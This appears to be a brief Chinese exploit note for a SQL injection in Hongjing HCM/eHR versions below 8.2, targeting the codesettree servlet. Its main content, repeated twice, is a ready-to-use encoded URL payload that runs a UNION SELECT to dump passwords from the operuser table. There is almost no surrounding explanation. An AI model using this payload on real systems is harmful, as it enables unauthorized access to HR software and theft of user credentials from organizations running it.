宏景HCM codesettree sql注入
适用范围：宏景eHR < 8.2
登录页面
查询cusername：
/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cpassword~20from~20operuser~20~2d~2d
适用范围：宏景eHR < 8.2
登录页面
查询cusername：
/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cpassword~20from~20operuser~20~2d~2d
浙公网安备 33010602011771号